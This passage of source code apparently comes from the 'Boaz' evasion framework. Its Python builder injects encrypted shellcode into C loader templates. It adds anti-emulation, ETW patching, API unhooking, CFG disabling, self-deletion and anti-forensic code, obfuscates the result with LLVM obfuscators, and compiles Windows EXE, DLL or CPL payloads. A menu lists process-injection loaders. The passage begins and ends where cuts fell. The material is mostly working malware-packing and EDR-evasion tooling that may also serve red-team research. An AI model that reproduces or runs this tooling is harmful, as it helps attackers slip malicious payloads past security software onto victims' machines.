" int sifu = 2897;\n"
|
|
" int ninja = 7987;\n"
|
|
" for (int i = 0; i < 100000000; i++) {\n"
|
|
" if(ninja == 7987 && i == 99527491 && sifu != 7987) {\n"
|
|
" printf(\"[+] Sifu is not happy! \\n\");\n"
|
|
" printf(\"Fibonacci number at position %d is %lld\\n\", 45, fibonacci(45));\n"
|
|
" DecryptAES((char*)magiccode, half_length, AESkey, sizeof(AESkey));\n"
|
|
" }\n"
|
|
" \n"
|
|
" if(ninja != 2897 && i == 99527491 && sifu == 2897){\n"
|
|
" printFactorial(20);\n"
|
|
" printf(\"[+] Ninja is going to perform ninjutsu! \\n\");\n"
|
|
" HANDLE mutex;\n"
|
|
" mutex = CreateMutex(NULL, TRUE, \"muuuutttteeexxx\");\n"
|
|
" if (GetLastError() == ERROR_ALREADY_EXISTS) {\n"
|
|
" DecryptAES((char*)(magiccode + half_length), half_length, AESkey, sizeof(AESkey));\n"
|
|
" printf(\"Mutex already exists. \\n\");\n"
|
|
" } else {\n"
|
|
" printf(\"Mutex does not exist. \\n\");\n"
|
|
" startExe(\"" + file_name + "\");\n"
|
|
" Sleep(100);\n"
|
|
" }\n"
|
|
" \n"
|
|
" }\n"
|
|
" }\n")
|
|
|
|
if encoding_declaration_index != -1 and (encoding_declaration_index < main_func_index or main_func_index == -1):
|
|
pass # Placeholder for any specific logic when encoding declarations are outside main
|
|
|
|
if encoding_declaration_index > main_func_index and main_func_index != -1:
|
|
if encoding == 'base64' or encoding == 'base58':
|
|
closing_brace_index = content.find('";', encoding_declaration_index) + 1
|
|
else:
|
|
closing_brace_index = content.find('};', encoding_declaration_index) + 1
|
|
insertion_point = content.find('\n', closing_brace_index) + 1
|
|
else:
|
|
insertion_point = opening_brace_index_main if main_func_index != -1 else -1
|
|
|
|
if insertion_point != -1:
|
|
content = content[:insertion_point] + conversion_logic_template + content[insertion_point:]
|
|
else:
|
|
print("Error: Appropriate insertion place not found.")
|
|
|
|
|
|
# Insert API unhooking if the flag is set
|
|
if api_unhooking:
|
|
# Ensure #include "api_untangle.h" is added at the top of the file
|
|
content = '#include "api_untangle.h"\n' + content
|
|
# Insert ExecuteModifications at the beginning of the main function
|
|
# main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
|
|
match = re.search(main_func_pattern, content, re.MULTILINE)
|
|
if match:
|
|
insert_pos = match.end()
|
|
newline_pos = content.find('\n', insert_pos)
|
|
if newline_pos != -1:
|
|
next_line_start = newline_pos + 1
|
|
indentation = ' '
|
|
execute_modifications_call = f"{indentation}ExecuteModifications(argc, argv);\n"
|
|
content = content[:next_line_start] + execute_modifications_call + content[next_line_start:]
|
|
|
|
# Insert junk API calls if the flag is set
|
|
content = insert_junk_api_calls(content, junk_api, main_func_pattern)
|
|
|
|
# Replace the placeholder with the actual shellcode
|
|
if (encoding is None):
|
|
content = content.replace('####SHELLCODE####', shellcode)
|
|
|
|
|
|
# Check if -cfg flag is provided to disable CFG
|
|
if cfg:
|
|
print("[+] Control Flow Guard (CFG) disabling is enabled.\n")
|
|
content = insert_cfg_patch(content, main_func_pattern)
|
|
|
|
if anti_emulation:
|
|
content = '#include "anti_emu.h"\n' + content
|
|
|
|
# ETW patching functionality
|
|
if etw:
|
|
# Include the ETW patch header at the top
|
|
content = '#include "etw_pass.h"\n' + content
|
|
# Find the appropriate place to insert the ETW patch code, insert after the call to `executeAllChecksAndEvaluate();`
|
|
# main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
|
|
match = re.search(main_func_pattern, content, re.MULTILINE)
|
|
if match:
|
|
insert_pos = content.find('executeAllChecksAndEvaluate();', match.end())
|
|
if insert_pos != -1:
|
|
insert_pos += len('executeAllChecksAndEvaluate();') + 1
|
|
else:
|
|
# If specific call to `executeAllChecksAndEvaluate();` not found, just insert after opening brace of main
|
|
insert_pos = match.end() + 1
|
|
|
|
etw_patch_code = '''
|
|
if (everyThing() == EXIT_SUCCESS) {
|
|
printf("\\n[+] ETW Patched Successfully...\\n");
|
|
} else {
|
|
printf("\\n[-] ETW Patch Failed...\\n");
|
|
}
|
|
'''
|
|
# Insert the ETW patch code at the determined position
|
|
content = content[:insert_pos] + etw_patch_code + content[insert_pos:]
|
|
|
|
if god_speed:
|
|
content = '#include "god_speed.h"\n' + content
|
|
|
|
# main_func_pattern = r'\bint\s+main\s*\([^)]*\)\s*\{'
|
|
match = re.search(main_func_pattern, content, re.MULTILINE)
|
|
if match:
|
|
insert_pos = match.end()
|
|
newline_pos = content.find('\n', insert_pos)
|
|
if newline_pos != -1:
|
|
next_line_start = newline_pos + 1
|
|
indentation_match = re.match(r'\s*', content[next_line_start:])
|
|
indentation = indentation_match.group(0) if indentation_match else ''
|
|
function_calls = ''
|
|
if anti_emulation:
|
|
## TODO: add file name to check:
|
|
# function_calls += f"{indentation}executeAllChecksAndEvaluate();\n"
|
|
# either compile_as_dll or compile_as_cpl is true, then we need to pass the file name to the function
|
|
if compile_as_dll or compile_as_cpl:
|
|
function_call = f"executeAllChecksAndEvaluate();"
|
|
else:
|
|
function_call = f"executeAllChecksAndEvaluate(\"{file_name}\", argv[0]);" if file_name is not None else "executeAllChecksAndEvaluate();"
|
|
function_calls += f"{indentation}{function_call}\n"
|
|
if god_speed:
|
|
# Ensure ExecuteProcessOperations(); is placed right after executeAllChecksAndEvaluate(); if both flags are set
|
|
function_calls += f"{indentation}ExecuteProcessOperations();\n"
|
|
content = content[:next_line_start] + function_calls + content[next_line_start:]
|
|
|
|
|
|
# Existing logic for inserting performSweetSleep(); remains unchanged...
|
|
if sleep_flag:
|
|
# Ensure #include "sweet_sleep.h" is added at the top of the file
|
|
if '#include "sweet_sleep.h"' not in content:
|
|
content = '#include "sweet_sleep.h"\n' + content
|
|
|
|
# Use a regular expression to find the opening brace of the main function
|
|
match = re.search(main_func_pattern, content, re.MULTILINE)
|
|
if match:
|
|
insert_pos = match.end()
|
|
newline_pos = content.find('\n', insert_pos)
|
|
if newline_pos != -1:
|
|
next_line_start = newline_pos + 1
|
|
next_line_end = content.find('\n', next_line_start)
|
|
next_line_content = content[next_line_start:next_line_end]
|
|
indentation_match = re.match(r'\s*', next_line_content)
|
|
indentation = indentation_match.group(0) if indentation_match else ''
|
|
sleep_call_with_indentation = f"{indentation}performSweetSleep();\n"
|
|
# Ensure sleep call is added after anti-emulation call if both flags are set
|
|
content = content[:next_line_start] + sleep_call_with_indentation + content[next_line_start:]
|
|
|
|
|
|
# If self-deletion is enabled, insert the self-deletion logic TODO:
|
|
if self_deletion:
|
|
content = insert_self_deletion(content)
|
|
|
|
if anti_forensic:
|
|
content = insert_anti_forensic(content)
|
|
|
|
|
|
# Write to the new loader file
|
|
with open(output_path, 'w') as file:
|
|
file.write(content)
|
|
|
|
|
|
def run_obfuscation(loader_path):
|
|
|
|
obf_file = loader_path.replace('.c', '_obf.c')
|
|
patch_file = loader_path + '.patch'
|
|
|
|
try:
|
|
run_cmd(['sudo', 'bash', './obfuscate/obfuscate_file.sh', loader_path], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
|
|
# subprocess.run(['sudo', 'bash', './obfuscate/obfuscate_file.sh', loader_path], check=True)
|
|
# Check if the patch file exists and rename it to obf_file
|
|
if os.path.exists(patch_file):
|
|
os.rename(patch_file, obf_file)
|
|
else:
|
|
print(f"Expected patch file not found: {patch_file}. Obfuscation may have failed.")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"[*] Some Obfuscation steps have not completed with {e}. But do not worry, proceeding with the next steps.")
|
|
# Since obf_file is now defined outside of the try block, it can be safely used here
|
|
if os.path.exists(patch_file):
|
|
os.rename(patch_file, obf_file)
|
|
|
|
|
|
def compile_output(loader_path, output_name, compiler, sleep_flag, anti_emulation, insert_junk_api_calls, api_unhooking=False, mllvm_options=None, god_speed=False, encoding=None, loader_number=1, dream=None, etw=False, compile_as_dll=False, compile_as_cpl = False, self_deletion=False, anti_forensic=False, cfg=False, icon=False):
|
|
|
|
|
|
# Find the latest MinGW directory
|
|
mingw_dir_command = "ls -d /usr/lib/gcc/x86_64-w64-mingw32/*-win32 | sort -V | tail -n 1"
|
|
mingw_dir = subprocess.check_output(mingw_dir_command, shell=True, text=True).strip()
|
|
|
|
if not mingw_dir:
|
|
print("Error: No x86_64-w64-mingw32 directory found.")
|
|
sys.exit(1)
|
|
|
|
print(f"Using MinGW directory: {mingw_dir} \n")
|
|
|
|
|
|
if not mingw_dir:
|
|
print("Error: No x86_64-w64-mingw32 directory found.")
|
|
sys.exit(1)
|
|
|
|
if loader_number in [1, 39, 40, 41, 66]:
|
|
try:
|
|
subprocess.run(['nasm', '-f', 'win64', 'assembly.asm', '-o', 'assembly.o'], check=True)
|
|
print("[+] NASM assembly compilation successful.")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"[-] NASM assembly compilation failed: {e}")
|
|
return # Exit the function if NASM compilation fails
|
|
if loader_number in [79]:
|
|
try:
|
|
subprocess.run(['nasm', '-f', 'win64', 'allocate.asm', '-o', 'assembly.o'], check=True)
|
|
print("[+] NASM assembly compilation successful.")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"[-] NASM assembly compilation failed: {e}")
|
|
return # Exit the function if NASM compilation fails
|
|
if loader_number in [29, 30, 34, 36]:
|
|
asm_file = 'direct_syscall.asm' if loader_number == 30 else 'edr_syscall_1.asm' if loader_number == 34 else 'edr_syscall_2.asm' if loader_number == 36 else 'indirect_syscall.asm'
|
|
try:
|
|
subprocess.run(['nasm', '-f', 'win64', asm_file, '-o', 'assembly.o'], check=True)
|
|
print(f"[+] NASM compilation of '{asm_file}' successful.")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"[-] NASM compilation of '{asm_file}' failed: {e}")
|
|
return
|
|
if loader_number in [50]:
|
|
try:
|
|
subprocess.run(['nasm', '-f', 'win64', 'woodpecker_assm.asm', '-o', 'assembly.o'], check=True)
|
|
print("[+] NASM assembly compilation successful.")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"[-] NASM assembly compilation failed: {e}")
|
|
return # Exit the function if NASM compilation fails
|
|
if not output_name:
|
|
raise ValueError("output_name is empty. Please provide a valid output name.")
|
|
|
|
# Ensure output_name has a path
|
|
if not os.path.dirname(output_name):
|
|
output_name = "./" + output_name
|
|
|
|
output_dir = os.path.dirname(output_name)
|
|
if not os.path.exists(output_dir):
|
|
os.makedirs(output_dir)
|
|
|
|
if compiler == "mingw":
|
|
compile_command = ['x86_64-w64-mingw32-g++', '-I.', '-I./converter', '-I./evader', loader_path]
|
|
if compile_as_dll:
|
|
compile_command.append('-shared')
|
|
compile_command.append('-lntdll')
|
|
elif compile_as_cpl:
|
|
compile_command.append('-shared')
|
|
compile_command.extend(['-o', output_name])
|
|
elif compiler == "pluto":
|
|
# Default LLVM passes for Pluto, if any, can be specified here
|
|
mllvm_passes = ','.join(mllvm_options) if mllvm_options else ""
|
|
# compile_command = ['./llvm_obfuscator_pluto/bin/clang++', '-O3', '-flto', '-fuse-ld=lld',
|
|
# '-mllvm', f'-passes={mllvm_passes}',
|
|
# '-Xlinker', '-mllvm', '-Xlinker', '-passes=hlw,idc',
|
|
# '-target', 'x86_64-w64-mingw32', loader_path,
|
|
# '-o', output_name, '-v', '-L/usr/lib/gcc/x86_64-w64-mingw32/12-win32',
|
|
# '-L./clang_test_include', '-I./c++/', '-I./c++/mingw32/']
|
|
compile_command = ['./llvm_obfuscator_pluto/bin/clang++', '-I.', '-I./converter', '-I./evader', '-O1', '-flto', '-fuse-ld=lld',
|
|
'-mllvm', f'-passes={mllvm_passes}',
|
|
'-Xlinker', '-mllvm', '-Xlinker', '-passes=hlw,idc',
|
|
'-target', 'x86_64-w64-mingw32', '-I.', '-I./converter', '-I./evader', loader_path]
|
|
if compile_as_dll:
|
|
compile_command.append('-shared')
|
|
compile_command.append('-lntdll')
|
|
output_name = output_name.replace('.exe', '.dll')
|
|
elif compile_as_cpl:
|
|
compile_command.append('-shared')
|
|
output_name = output_name.replace('.exe', '.cpl')
|
|
compile_command.extend(['-o', output_name, '-v', f'-L{mingw_dir}',
|
|
'-L./clang_test_include', '-I./c++/', '-I./c++/mingw32/'])
|
|
elif compiler == "akira":
|
|
|
|
|
|
# Default LLVM options for Akira
|
|
# default_akira_options = ['-irobf-indbr', '-irobf-icall', '-irobf-indgv', '-irobf-cse', '-irobf-cff']
|
|
# akira_options = mllvm_options if mllvm_options else default_akira_options
|
|
# compile_command = ['./akira_built/bin/clang++', '-target', 'x86_64-w64-mingw32', loader_path, '-o', output_name, '-v', '-L/usr/lib/gcc/x86_64-w64-mingw32/12-win32', '-L./clang_test_include', '-I./c++/', '-I./c++/mingw32/']
|
|
# for option in akira_options:
|
|
# compile_command.extend(['-mllvm', option])
|
|
default_akira_options = ['-irobf-indbr', '-irobf-icall', '-irobf-indgv', '-irobf-cse', '-irobf-cff']
|
|
akira_options = mllvm_options if mllvm_options else default_akira_options
|
|
compile_command = ['./akira_built/bin/clang++', '-I.', '-I./converter', '-I./evader', '-target', 'x86_64-w64-mingw32', '-I.', '-I./converter', '-I./evader', loader_path]
|
|
if compile_as_dll:
|
|
compile_command.append('-shared')
|
|
compile_command.append('-lntdll')
|
|
output_name = output_name.replace('.exe', '.dll')
|
|
elif compile_as_cpl:
|
|
compile_command.append('-shared')
|
|
output_name = output_name.replace('.exe', '.cpl')
|
|
compile_command.extend(['-o', output_name, '-v', f'-L{mingw_dir}',
|
|
'-L./clang_test_include', '-I./c++/', '-I./c++/mingw32/'])
|
|
for option in akira_options:
|
|
compile_command.extend(['-mllvm', option])
|
|
|
|
if anti_emulation:
|
|
compile_command.extend(['./evader/anti_emu.c', '-lws2_32', '-lpsapi'])
|
|
if etw:
|
|
compile_command.append('./evader/etw_pass.c')
|
|
## TODO: Add support for other encoding types
|
|
if encoding == 'uuid':
|
|
compile_command.append('./converter/uuid_converter.c')
|
|
elif encoding == 'xor':
|
|
compile_command.append('./converter/xor_converter.c')
|
|
elif encoding == 'mac':
|
|
compile_command.append('./converter/mac_converter.c')
|
|
elif encoding == 'ipv4':
|
|
compile_command.append('./converter/ipv4_converter.c')
|
|
elif encoding == 'base45':
|
|
compile_command.append('./converter/base45_converter.c')
|
|
elif encoding == 'base64':
|
|
compile_command.append('./converter/base64_converter.c')
|
|
elif encoding == 'base58':
|
|
compile_command.append('./converter/base58_converter.c')
|
|
elif encoding == 'aes':
|
|
compile_command.append('./converter/aes_converter.c')
|
|
elif encoding == 'chacha':
|
|
compile_command.append('./converter/chacha_converter.c')
|
|
elif encoding == 'rc4':
|
|
compile_command.append('./converter/rc4_converter.c')
|
|
elif encoding == 'aes2':
|
|
compile_command.append('./converter/aes2_converter.c')
|
|
elif encoding == 'des':
|
|
compile_command.append('./converter/des_converter.c')
|
|
elif encoding == 'ascon':
|
|
compile_command.append('./converter/ascon_converter.c')
|
|
if dream:
|
|
compile_command.append('./evader/sleep_encrypt.c')
|
|
if god_speed:
|
|
compile_command.append('./evader/god_speed.c')
|
|
if sleep_flag:
|
|
compile_command.append('./evader/sweet_sleep.c')
|
|
if insert_junk_api_calls:
|
|
compile_command.append('./evader/normal_api.c')
|
|
if api_unhooking:
|
|
compile_command.append('./evader/api_untangle.c')
|
|
if self_deletion:
|
|
compile_command.append('./evader/self_deletion.c')
|
|
if anti_forensic:
|
|
compile_command.append('./evader/anti_forensic.c')
|
|
compile_command.append('-static-libgcc')
|
|
compile_command.append('-static-libstdc++')
|
|
compile_command.append('-lole32')
|
|
if loader_number == 22:
|
|
compile_command.append('-static-libgcc')
|
|
compile_command.append('-static-libstdc++')
|
|
compile_command.append('./indirect_syscall/FuncWrappers.cpp')
|
|
compile_command.append('./indirect_syscall/HookModule.cpp')
|
|
compile_command.append('-I./indirect_syscall/')
|
|
if loader_number == 33:
|
|
compile_command.append('./syscall.c')
|
|
compile_command.append('assembly.o')
|
|
if loader_number in [1, 29, 30, 34, 36, 39, 40, 41, 50, 66, 79]:
|
|
|
|
compile_command.append('assembly.o')
|
|
compile_command.append('-luuid')
|
|
if loader_number in [37, 38, 48, 49, 50, 51, 52, 56, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 76, 77, 79]:
|
|
compile_command.append('./evader/pebutils.c')
|
|
# compile_command.append('-lole32')
|
|
# if loader_number == 50: // for pretext code
|
|
# compile_command.append('-lshlwapi')
|
|
if cfg:
|
|
compile_command.append('./evader/cfg_patch.c')
|
|
## add icon.res file to the compilation command
|
|
if icon:
|
|
compile_command.append('icon.res')
|
|
compile_command.append('-mwindows')
|
|
|
|
|
|
|
|
try:
|
|
subprocess.run(compile_command, check=True)
|
|
### suppress output:
|
|
# subprocess.run(compile_command, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
print(f"\033[95m[+] Congratulations!\033[0m The packed binary has been successfully generated: \033[91m{output_name}\033[0m")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"[-] Compilation failed: {e}")
|
|
|
|
|
|
def compile_with_syswhisper(loader_path, output_name, syswhisper_option, sleep_flag, anti_emulation, insert_junk_api_calls, compiler, api_unhooking, god_speed=False, encoding=None, dream=None, etw=False, self_deletion=False, anti_forensic=False, cfg=False):
|
|
# Create output directory if it doesn't exist
|
|
output_dir = os.path.dirname(output_name)
|
|
if not os.path.exists(output_dir):
|
|
os.makedirs(output_dir)
|
|
|
|
common_sources = ['./classic_stubs/syscalls.c', './classic_stubs/syscallsstubs.std.x64.s']
|
|
# Additional source files based on flags
|
|
additional_sources = []
|
|
if anti_emulation:
|
|
additional_sources.extend(['./evader/anti_emu.c', '-lws2_32', '-lpsapi', '-lole32'])
|
|
if self_deletion:
|
|
additional_sources.append('./evader/self_deletion.c')
|
|
if anti_forensic:
|
|
additional_sources.append('./evader/anti_forensic.c')
|
|
if cfg:
|
|
additional_sources.append('./evader/cfg_patch.c')
|
|
if etw:
|
|
additional_sources.append('./evader/etw_pass.c')
|
|
## TODO: Add support for other encoding types
|
|
if encoding:
|
|
if encoding == 'uuid':
|
|
additional_sources.append('./converter/uuid_converter.c')
|
|
elif encoding == 'xor':
|
|
additional_sources.append('./converter/xor_converter.c')
|
|
elif encoding == 'mac':
|
|
additional_sources.append('./converter/mac_converter.c')
|
|
elif encoding == 'ipv4':
|
|
additional_sources.append('./converter/ipv4_converter.c') ### Add IPV6 converter in the future
|
|
elif encoding == 'base45':
|
|
additional_sources.append('./converter/base45_converter.c')
|
|
elif encoding == 'base64':
|
|
additional_sources.append('./converter/base64_converter.c')
|
|
elif encoding == 'base58':
|
|
additional_sources.append('./converter/base58_converter.c')
|
|
elif encoding == 'aes':
|
|
additional_sources.append('./converter/aes_converter.c')
|
|
elif encoding == 'chacha':
|
|
additional_sources.append('./converter/chacha_converter.c')
|
|
elif encoding == 'rc4':
|
|
additional_sources.append('./converter/rc4_converter.c')
|
|
elif encoding == 'aes2':
|
|
additional_sources.append('./converter/aes2_converter.c')
|
|
elif encoding == 'des':
|
|
additional_sources.append('./converter/des_converter.c')
|
|
elif encoding == 'ascon':
|
|
additional_sources.append('./converter/ascon_converter.c')
|
|
if dream:
|
|
additional_sources.append('./evader/sleep_encrypt.c')
|
|
if god_speed:
|
|
additional_sources.append('./evader/god_speed.c')
|
|
if sleep_flag:
|
|
additional_sources.append('./evader/sweet_sleep.c')
|
|
if insert_junk_api_calls:
|
|
additional_sources.append('./evader/normal_api.c')
|
|
if api_unhooking:
|
|
additional_sources.append('./evader/api_untangle.c')
|
|
additional_sources.append('-static-libgcc')
|
|
additional_sources.append('-static-libstdc++')
|
|
|
|
if compiler == "akira":
|
|
print("Compiling with Akira...")
|
|
|
|
compile_command = ["./akira_built/bin/clang++", '-I.', '-I./converter', '-I./evader', "-D", "nullptr=NULL", "-mllvm", "-irobf-indbr", "-mllvm", "-irobf-icall",
|
|
"-mllvm", "-irobf-indgv", "-mllvm", "-irobf-cse", "-mllvm", "-irobf-cff", "-target", "x86_64-w64-mingw32",
|
|
loader_path, "./classic_stubs/syscalls.c", "./classic_stubs/syscallsstubs.std.x64.s", "-o", output_name, "-v",
|
|
f"-L{mingw_dir}", "-L./clang_test_include", "-I./c++/", "-I./c++/mingw32/"] + additional_sources
|
|
subprocess.run(compile_command, check=True)
|
|
elif compiler == "pluto":
|
|
# Pluto-specific compilation command
|
|
compile_command = ["./llvm_obfuscator_pluto/bin/clang++", '-I.', '-I./converter', '-I./evader', "-fms-extensions", "-D", "nullptr=NULL", "-O1", "-flto", "-fuse-ld=lld",
|
|
"-mllvm", "-passes=mba,sub,idc,bcf,fla,gle", "-Xlinker", "-mllvm", "-Xlinker", "-passes=hlw,idc",
|
|
"-target", "x86_64-w64-mingw32", loader_path, "./classic_stubs/syscalls.c", "./classic_stubs/syscallsstubs.std.x64.s", "-o", output_name, "-v",
|
|
f"-L{mingw_dir}", "-L./clang_test_include", "-I./c++/", "-I./c++/mingw32/"] + additional_sources
|
|
subprocess.run(compile_command, check=True)
|
|
elif syswhisper_option == 1:
|
|
# Random syscall jumps compilation
|
|
print("Compiling with random syscall jumps.....")
|
|
compile_command = ['x86_64-w64-mingw32-g++', '-I.', '-I./converter', '-I./evader', loader_path, './classic_stubs/syscalls.c', './classic_stubs/syscallsstubs.rnd.x64.s', '-DRANDSYSCALL', '-Wall'] + additional_sources + ['-o', 'temp.exe']
|
|
strip_command = ['x86_64-w64-mingw32-strip', '-s', 'temp.exe', '-o', output_name]
|
|
subprocess.run(compile_command, check=True)
|
|
subprocess.run(strip_command, check=True)
|
|
cleanup_command = ['rm', '-rf', 'temp.exe']
|
|
subprocess.run(cleanup_command, check=True)
|
|
|
|
|
|
elif syswhisper_option == 2:
|
|
# Compiling with MingW and NASM requires a two-step process
|
|
# Find all .o files in the current directory
|
|
object_files = glob.glob('*.o')
|
|
|
|
# First, compile C files and syscalls.c with additional sources
|
|
mingw_compile_command = ['x86_64-w64-mingw32-g++', '-I.', '-I./converter', '-I./evader', '-m64', '-c', loader_path, './classic_stubs/syscalls.c'] + ['-Wall', '-shared']
|
|
subprocess.run(mingw_compile_command, check=True)
|
|
print("MingW command executed successfully")
|
|
|
|
# NASM compilation for the syscall stubs
|
|
nasm_command = ['nasm', '-I.', '-I./converter', '-I./evader', '-f', 'win64', '-o', 'syscallsstubs.std.x64.o', './classic_stubs/syscallsstubs.std.x64.nasm']
|
|
subprocess.run(nasm_command, check=True)
|
|
print("NASM command executed successfully")
|
|
|
|
# Final linking of all objects to create the executable
|
|
# final_link_command = ['x86_64-w64-mingw32-g++', '*.o', '-o', 'temp.exe'] + additional_sources
|
|
final_link_command = ['x86_64-w64-mingw32-g++', '-I.', '-I./converter', '-I./evader'] + object_files + ['-o', 'temp.exe'] + additional_sources
|
|
subprocess.run(final_link_command, check=True)
|
|
print("Final link command executed successfully")
|
|
|
|
# Stripping the executable
|
|
strip_command = ['x86_64-w64-mingw32-strip', '-s', 'temp.exe', '-o', output_name]
|
|
subprocess.run(strip_command, check=True)
|
|
print("Strip command executed successfully")
|
|
|
|
# Cleanup temporary files
|
|
cleanup_command = ['rm', '-rf', 'temp.exe'] + object_files
|
|
subprocess.run(cleanup_command, check=True)
|
|
else:
|
|
raise ValueError("Invalid SysWhisper option provided.")
|
|
|
|
# Success message
|
|
print(f"\033[95m[+] Congratulations!\033[0m The packed binary has been successfully generated with SysWhisper integration: \033[91m{output_name}\033[0m")
|
|
|
|
def strip_binary(binary_path):
|
|
"""
|
|
Strips all symbols from the binary to reduce its size and potentially increase its stealth.
|
|
|
|
Args:
|
|
binary_path (str): Path to the compiled binary to be stripped.
|
|
"""
|
|
try:
|
|
subprocess.run(['strip', '--strip-all', binary_path], check=True)
|
|
print(f"\033[92m[+] Successfully stripped the binary: {binary_path} \033[0m")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"[-] Failed to strip the binary {binary_path}: {e}")
|
|
|
|
def add_watermark(output_file_path):
|
|
watermark_command = f"python3 Watermarker.py {output_file_path} -s boaz,boaz"
|
|
subprocess.run(watermark_command, shell=True, check=True, stdout=subprocess.DEVNULL)
|
|
|
|
### Add function to run commands 'python3 obfuscate/update_config.py' and then run 'wine obfuscate/obf_api.exe ~/alice_evasion/Bob-and-Alice/alice_notepad.exe output_file obfuscate/config.ini'
|
|
# def obfuscate_with_api(output_file_path):
|
|
# # Update the config.ini file with the new output file path
|
|
# update_config_command = "python3 obfuscate/update_config.py"
|
|
# subprocess.run(update_config_command, shell=True, check=True, stdout=subprocess.DEVNULL)
|
|
|
|
# # Run the obfuscation tool with the updated config.ini file
|
|
# obfuscate_command = f"wine obfuscate/obf_api.exe {output_file_path} {output_file_path} obfuscate/config.ini"
|
|
# subprocess.run(obfuscate_command, shell=True, check=True, stdout=subprocess.DEVNULL)
|
|
def obfuscate_with_api(output_file_path):
|
|
update_config_command = "python3 obfuscate/update_config.py"
|
|
subprocess.run(update_config_command, shell=True, check=True, stdout=subprocess.DEVNULL)
|
|
|
|
# Create a temporary output file path
|
|
temp_output_file_path = output_file_path + ".temp"
|
|
|
|
# Run the obfuscation tool with the updated config.ini file using the temporary file
|
|
obfuscate_command = f"wine obfuscate/obf_api.exe {output_file_path} {temp_output_file_path} obfuscate/config.ini"
|
|
subprocess.run(obfuscate_command, shell=True, check=True, stdout=subprocess.DEVNULL)
|
|
|
|
shutil.move(temp_output_file_path, output_file_path)
|
|
print(f"\033[92m[+] Successfully obfuscated the binary API: {output_file_path} \033[0m")
|
|
# Ensure the temp file is deleted if it exists
|
|
if os.path.exists(temp_output_file_path):
|
|
os.remove(temp_output_file_path)
|
|
|
|
|
|
|
|
def cleanup_files(*file_paths):
|
|
"""Deletes specified files or dirs to clean up."""
|
|
for file_path in file_paths:
|
|
try:
|
|
if os.path.isfile(file_path):
|
|
os.remove(file_path)
|
|
# print(f"Deleted temporary file: {file_path}")
|
|
elif os.path.isdir(file_path):
|
|
shutil.rmtree(file_path)
|
|
# print(f"Deleted directory: {file_path}")
|
|
except OSError as e:
|
|
print(f"Error deleting temporary file {file_path}: {e}")
|
|
print(f"File may not exists.")
|
|
|
|
|
|
def compile_unhook_iat():
|
|
print("[*] Compiling check_hooks.exe...")
|
|
cmd = [
|
|
"x86_64-w64-mingw32-g++",
|
|
"-o", "./check_hooks.exe",
|
|
"./hook_detection/check_hooks.c",
|
|
"-static",
|
|
"-static-libgcc",
|
|
"-static-libstdc++",
|
|
"-ldbghelp",
|
|
"-ladvapi32"
|
|
]
|
|
try:
|
|
subprocess.run(cmd, check=True)
|
|
print("[+] Compilation completed: ./check_hooks.exe")
|
|
except subprocess.CalledProcessError as e:
|
|
print(f"[!] Compilation failed: {e}")
|
|
|
|
|
|
|
|
|
|
|
|
def main():
|
|
|
|
# ANSI escape code for cyan text (approximation of Cambridge blue)
|
|
start_color_cyan = "\033[0;36m"
|
|
# ANSI escape code for magenta text (purple)
|
|
start_color_magenta = "\033[0;35m"
|
|
# ANSI reset code to revert to default terminal color
|
|
reset_color = "\033[0m"
|
|
print(start_color_cyan + """
|
|
|
|
|
|
╭━━╮╱╱╱╱╱╱╱╱╱╱╱╭━━━╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━━━━╮╱╱╱╱╭╮
|
|
┃╭╮┃╱╱╱╱╱╱╱╱╱╱╱┃╭━━╯╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃╭╮╭╮┃╱╱╱╱┃┃
|
|
┃╰╯╰┳━━┳━━┳━━━╮┃╰━━┳╮╭┳━━┳━━┳┳━━┳━╮╱╰╯┃┃┣┻━┳━━┫┃
|
|
┃╭━╮┃╭╮┃╭╮┣━━┃┃┃╭━━┫╰╯┃╭╮┃━━╋┫╭╮┃╭╮╮╱╱┃┃┃╭╮┃╭╮┃┃
|
|
┃╰━╯┃╰╯┃╭╮┃┃━━┫┃╰━━╋╮╭┫╭╮┣━━┃┃╰╯┃┃┃┃╱╱┃┃┃╰╯┃╰╯┃╰╮
|
|
╰━━━┻━━┻╯╰┻━━━╯╰━━━╯╰╯╰╯╰┻━━┻┻━━┻╯╰╯╱╱╰╯╰━━┻━━┻━╯
|
|
|
|
|
|
.@@@@@@&%#%
|
|
.@@@@@@@%#(
|
|
#@@@@@@@&#((
|
|
@@@@@@@@@&&%%%
|
|
%#%%@@@@%(/*, ..
|
|
%**,,,,*****. #%##((////(.
|
|
.//***//*/ ,%%%##(((((((#(
|
|
.%&%%/,,,**(#%&, */(##########%.
|
|
&@@@&&%(// *%&@# ********/%%%%%
|
|
&@@@&%%&%(/ *%&@&,. *//////#&&&&#
|
|
.@@@&&%##&%#(/ /&&&&*. .* ***/(#&&&#
|
|
@@@@&&%%%%&&%%%&&* (( .( /***. .,,*
|
|
*%&&&&&%#/, .//,(((/(%#/(.**,.*,,,*,
|
|
/**,,/(((#&&&%, *%*******.
|
|
,//*/%(((%&(// ....,/**//.
|
|
(*((((/////////////.
|
|
.,*//**,
|
|
|
|
|
|
|
|
""" + reset_color)
|
|
print(start_color_magenta + "Boaz mini-evasion framework is starting...\n" + reset_color)
|
|
|
|
time.sleep(0.5) # Sleeps for 2 seconds
|
|
|
|
|
|
# Extended description for loaders
|
|
loaders_description = """
|
|
loader modules:
|
|
1. Proxy syscall --> Custom call Stack + indirect syscall with threadless execution (local injection)
|
|
2. APC test alert
|
|
3. Sifu syscall
|
|
4. UUID manual injection
|
|
5. Remote mockingJay
|
|
6. Local thread hijacking
|
|
7. Function pointer invoke local injection
|
|
8. Ninja_syscall2
|
|
9. RW local mockingJay
|
|
10. Ninja syscall 1
|
|
11. Sifu Divide and Conquer syscall
|
|
12. [Your custom loader here]
|
|
14. Exit the process without executing the injected shellcode
|
|
15. Syswhispers2 classic native API calls
|
|
